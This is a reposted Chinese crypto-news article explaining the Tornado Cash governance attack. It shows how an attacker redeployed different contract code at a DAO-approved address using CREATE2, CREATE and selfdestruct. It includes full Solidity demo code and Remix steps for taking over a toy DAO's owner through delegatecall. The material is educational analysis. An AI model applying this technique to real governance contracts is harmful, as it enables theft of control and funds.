区块见闻 区块见闻
Ctrl+D收藏区块见闻
首页 > 中币 > 正文

NBS:解析Tornado治理攻击:如何同一个地址上部署不同的合约_SAL

作者:

时间:

大概两周前(5 月 20 日),知名混币协议 Tornado Cash 遭受到治理攻击,黑客获取到了Tornado Cash的治理合约的控制权(Owner)。

攻击过程是这样的:攻击者先提交了一个“看起来正常”的提案, 待提案通过之后, 销毁了提案要执行的合约地址, 并在该地址上重新创建了一个攻击合约。

攻击过程可以查看 SharkTeam 的  Tornado.Cash提案攻击原理分析。

这里攻击的关键是在同一个地址上部署了不同的合约, 这是如何实现的呢?

EVM 中有两个操作码用来创建合约:CREATE 与 CREATE2 。

当使用 new Token() 使用的是  CREATE 操作码 , 创建的合约地址计算函数为:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))创建的合约地址是通过创建者地址 + 创建者Nonce(创建合约的数量)来确定的, 由于 Nonce 总是逐步递增的, 当 Nonce 增加时,创建的合约地址总是是不同的。

当添加一个salt时 new Token{salt: bytes32(。() ,则使用的是  CREATE2 操作码 , 创建的合约地址计算函数为:

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))创建的合约地址是 创建者地址 + 自定义的盐 + 要部署的智能合约的字节码, 因此 只有相同字节码 和 使用相同的盐值,才可以部署到同一个合约地址上。

那么如何才能在同一地址如何部署不用的合约?

攻击者结合使用 Create2 和 Create 来创建合约, 如图:

代码参考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

先用 Create2 部署一个合约 Deployer , 在 Deployer 使用 Create 创建目标合约 Proposal(用于提案使用)。 Deployer 和  Proposal 合约中均有自毁实现(selfdestruct)。

在提案通过后,攻击者把  Deployer 和  Proposal 合约销毁,然后重新用相同的slat创建 Deployer  ,  Deployer 字节码不变,slat 也相同,因此会得到一个和之前相同的   Deployer  合约地址, 但此时   Deployer  合约的状态被清空了, nonce 从 0 开始,因此可以使用该 nonce 创建另一个合约Attack。

此代码来自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO {    struct Proposal {        address target;        bool approved;        bool executed;    }    address public owner = msg.sender;    Proposal[] public proposals;    function approve(address target) external {        require(msg.sender == owner, "not authorized");        proposals.push(Proposal({target: target, approved: true, executed: false}));    }    function execute(uint256 proposalId) external payable {        Proposal storage proposal = proposals[proposalId];        require(proposal.approved, "not approved");        require(!proposal.executed, "executed");        proposal.executed = true;        (bool ok, ) = proposal.target.delegatecall(            abi.encodeWithSignature("executeProposal()")        );        require(ok, "delegatecall failed");    }}contract Proposal {    event Log(string message);    function executeProposal() external {        emit Log("Excuted code approved by DAO");    }    function emergencyStop() external {        selfdestruct(payable(address(0)));    }}contract Attack {    event Log(string message);    address public owner;    function executeProposal() external {        emit Log("Excuted code not approved by DAO :)");        // For example - set DAO's owner to attacker        owner = msg.sender;    }}contract DeployerDeployer {    event Log(address addr);    function deploy() external {        bytes32 salt = keccak256(abi.encode(uint(123)));        address addr = address(new Deployer{salt: salt}());        emit Log(addr);    }}contract Deployer {    event Log(address addr);    function deployProposal() external {        address addr = address(new Proposal());        emit Log(addr);    }    function deployAttack() external {        address addr = address(new Attack());        emit Log(addr);    }    function kill() external {        selfdestruct(payable(address(0)));    }}大家可以使用该代码自己在 Remix 中演练一下。

首先部署 DeployerDeployer , 调用 DeployerDeployer.deploy() 部署 Deployer , 然后调用   Deployer.deployProposal()  部署  Proposal 。

拿到 Proposal 提案合约地址后, 向  DAO 发起提案。

分别调用 Deployer.kill 和  Proposal.emergencyStop 销毁掉 Deployer 和 Proposal

再次调用 DeployerDeployer.deploy() 部署 Deployer , 调用 Deployer.deployAttack() 部署  Attack ,    Attack  将和之前的   Proposal 一致。

执行 DAO.execute 时,攻击完成 获取到了 DAO 的 Owner 权限。

区块律动BlockBeats

曼昆区块链法律

Foresight News

GWEI Research

吴说区块链

西柚yoga

ETH中文

金色早8点

金色财经 子木

ABCDE

0xAyA

标签:BSPNBSPROSALBSP价格NBS币DOGPROBunicorn Universal Reward

中币热门资讯
数字资产:盘点2023年的最佳冷钱包_NFT

一场关于冷钱包的争议 近日,一款冷钱包发布的新功能引起广泛关注。据悉,该功能是一种基于 ID 的「可订阅式」密钥恢复服务.

区块链:金色观察 | Lyn Alden:未来比特币矿工手续费会不足以支付能源消耗吗?_ETH

文/Lyn Alden,比特币kol,Lyn Alden Investment Strategy创始人;译/金色财经xiaozou随着区块奖励逐渐减少,并倾向于只收取交易手续费.

以太坊:Variant Fund合伙人再论Web3社交网络应资产优先还是观念优先_区块链币圈大佬排行榜

作者:Lijin, Variant Fund合伙人;翻译:金色财经cryptonaitive我看到两种构建 web3 社交的主要方法:资产优先或观念优先.

NBS:专访CZ:被监管“置于显微镜下” 市场正在熊市中复苏_DEPE

原文作者:Mike Dalton,Cryptoslate 原文编译:PANews 赶走 FUD 最近加密市场围绕币安的争议较多.

BSP:一文读懂ERC-6551:如何改变NFT的游戏规则?_区块链

作者:Ivan Cryptoslav,CoinMarketCap  编译:hiiro.

区块链:从ERC20、721、1155到3525 详述RWA迈向Web3大规模落地之路_以下哪项不是区块链目前的分类

作者:菠菜菠菜! ERC-3525 在 Web3 的未来趋势中展现出了显著的优势。无论是真实世界资产(RWA)、客户忠诚度计划,还是游戏等领域,ERC-3525 都有着显著的潜力.